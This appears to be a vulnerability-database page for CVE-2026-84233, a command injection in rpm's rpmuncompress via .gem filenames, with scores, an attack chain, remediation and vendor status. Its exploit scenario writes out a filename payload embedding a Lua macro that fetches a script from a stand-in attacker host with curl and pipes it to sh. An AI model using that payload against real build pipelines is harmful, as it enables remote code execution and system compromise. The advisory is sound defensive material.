Skip to main content

rpm EUVDEUVD-2026-69249

| CVE-2026-84233 HIGH
OS Command Injection (CWE-78)
2026-09-01 secalert@redhat.com GHSA-j9c4-6ppm-mvh4
7.0
CVSS 3.1 · Vendor: redhat
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft .gem filename embedding RPM macro payload
  2. Delivery
    Place malicious file in directory processed by target
  3. Exploit
    Victim or CI/CD workflow invokes rpmuncompress -x
  4. Execution
    RPM macro engine expands filename during command construction
  5. Persist
    Injected commands execute as invoking user
  6. Impact
    Confidentiality, integrity, availability compromised

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires two concrete, sequential prerequisites. First, the attacker must be able to supply or influence the filename of a .gem file that will be processed - this requires either write access to a directory from which the target system fetches gems, a supply-chain position in a gem repository, or social engineering to have a victim download and process an attacker-named file. Second, a user or automated process must invoke rpmuncompress -x on that specific file; if the invocation never occurs, no exploitation is possible. The AC:H rating reflects the difficulty of achieving both conditions simultaneously in most environments. Exploitation is strictly bounded to the invoking account's privileges (S:U - no scope change), so root-level impact requires the invoking process to already run with elevated rights. Systems that never invoke rpmuncompress on externally sourced or user-controlled gem filenames are not exposed. The UI:R constraint means fully automated, zero-interaction exploitation without a triggering user or scheduled process is not achievable.

Impact

The CVSS 7.0 base score (AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H) accurately reflects a scenario where high impact potential is substantially constrained by attack preconditions. AV:L limits exploitation to contexts where the attacker controls a file on the target system; AC:H acknowledges that achieving simultaneous filename placement and invocation is non-trivial in most interactive contexts. However, the UI:R requirement is partially mitigated in CI/CD pipelines, automated build servers, and package build environments - common deployment contexts for rpm - where rpmuncompress may be invoked automatically on third-party gem files without human review, effectively reducing the real-world complexity. No CISA KEV listing and no POC code are present in the input data, so exploitation remains theoretical. EPSS data was not provided, preventing quantitative exploitation probability assessment. The S:U scope limits post-exploitation lateral movement to the invoking account's privileges, but build service accounts in package factories often hold significant rights. The overall risk is real but targeted rather than opportunistic.

Exploit ScenarioDerived

An attacker with write access to a shared gem repository or build input directory places a file named %{lua:os.execute('curl attacker.example/shell.sh|sh')}.gem in a location consumed by an automated build pipeline. When the CI/CD system invokes rpmuncompress -x on the file as part of a packaging job, the RPM macro engine evaluates the embedded Lua macro during command construction, executing the shell payload with the build service account's privileges. No public POC code has been identified at time of analysis.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Command injection in rpm's rpmuncompress utility allows a local attacker who can place a crafted .gem file containing RPM macro syntax to execute arbitrary commands with the privileges of the invoking user or automated workflow. The vulnerability arises because the macro expansion engine processes the gem filename during command construction without sanitization, meaning any RPM macro embedded in the filename is evaluated at execution time. No public exploit code has been identified at time of analysis; the CVSS 7.0 score reflects full CIA impact constrained by local attack vector and required user interaction.

RemediationAI

The primary remediation is to apply the vendor-released patch from Red Hat once announced; monitor https://access.redhat.com/security/cve/CVE-2026-84233 for patched package versions, as no specific fixed version was confirmed in the available input data. As an immediate compensating control, restrict rpmuncompress -x invocations to internally sourced, trusted .gem files only, and block processing of third-party or user-supplied gem filenames until patched - this eliminates the attacker's ability to influence the filename processed. In CI/CD pipelines and build automation environments, add pre-processing validation that rejects any gem filename containing RPM macro characters (%, {, }) before passing them to rpmuncompress; this is a defense-in-depth measure with minimal build workflow impact. Sandboxing build workers in containers with restrictive seccomp profiles limits the blast radius of a successful injection by constraining what commands the exploited process can execute. Note that completely disabling gem file handling breaks legitimate RPM spec files that package Ruby gems.

Affected ProductsAI

The vulnerability affects the rpm package manager, specifically the rpmuncompress utility, as reported by Red Hat Product Security (secalert@redhat.com). No CPE strings or specific version ranges were provided in the input data; affected versions must be obtained from the Red Hat advisory at https://access.redhat.com/security/cve/CVE-2026-84233 and the Bugzilla tracking entry at https://bugzilla.redhat.com/show_bug.cgi?id=2478409. RPM-based distributions including RHEL, Fedora, CentOS Stream, Rocky Linux, AlmaLinux, and SUSE Linux Enterprise that ship the affected rpm version should consult their respective vendor advisories for distribution-specific patched package versions.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected component is rpmuncompress, a utility within the rpm package ecosystem used to unpack various archive formats including RubyGems (.gem) files. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command - OS Command Injection): when constructing the shell command to handle a .gem file, rpm passes the filename through its native macro expansion engine without sanitizing macro metacharacters. RPM macros (using %{...} syntax) are a first-class scripting facility used throughout spec files and RPM internals; their expansion during filename processing in rpmuncompress is the unexpected and dangerous behavior. No CPE strings were included in the input data, so precise affected version ranges cannot be confirmed independently - the Red Hat Bugzilla entry (https://bugzilla.redhat.com/show_bug.cgi?id=2478409) is the authoritative source for version scope.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 7.0 HIGH
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 7.0 HIGH

AV:L because the attacker must place a file locally; AC:H and UI:R because a user or workflow must invoke rpmuncompress on the crafted file; PR:N because creating a gem filename requires no special privileges.

3.1 AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:L/AC:H/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Red Hat 7.0 MEDIUM

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

A flaw was found in rpm. A local attacker could supply a specially crafted .gem filename containing RPM macro syntax. When a user or automated workflow invokes rpmuncompress -x on this file, the macro expansion occurs during command construction. This allows the attacker to execute arbitrary commands with the privileges of the invoking account, leading to a compromise of confidentiality, integrity, and availability.

Executive ViewAI

Why It Matters

Command injection in rpm's rpmuncompress utility allows local users and automated systems to execute arbitrary commands by processing specially crafted .gem files containing RPM macro syntax. This affects all systems using rpm for package management and CI/CD pipelines that process gems, with full system compromise risk (confidentiality, integrity, and availability). No vendor patch is currently available, creating persistent exposure for build infrastructure and automated workflows.

Business Impact: High
Compensating Controls

Restrict gem file sources to curated, verified package repositories with cryptographic signature validation; implement sandboxed execution environments (containers, VMs) for any rpmuncompress operations; disable automatic gem decompression in CI/CD pipelines and require manual approval; monitor for .gem files with suspicious naming patterns containing '$' or '{' characters; limit user/service accounts running rpm tools to minimal necessary privileges; enforce SELinux or AppArmor policies restricting rpmuncompress command execution scope; implement network-level controls preventing unexpected gem sources from reaching build systems.

Threat Intelligence Overview

EPSS Score
0.1%
Top 97% exploitable
Prevalence
High
core package manager across major enterprise Linux distributions
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment MSRC Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 12 Not-Affected
SUSE Linux Enterprise Micro 5.3 Not-Affected
SUSE Linux Enterprise Micro 5.4 Not-Affected
SUSE Linux Enterprise Micro 5.5 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy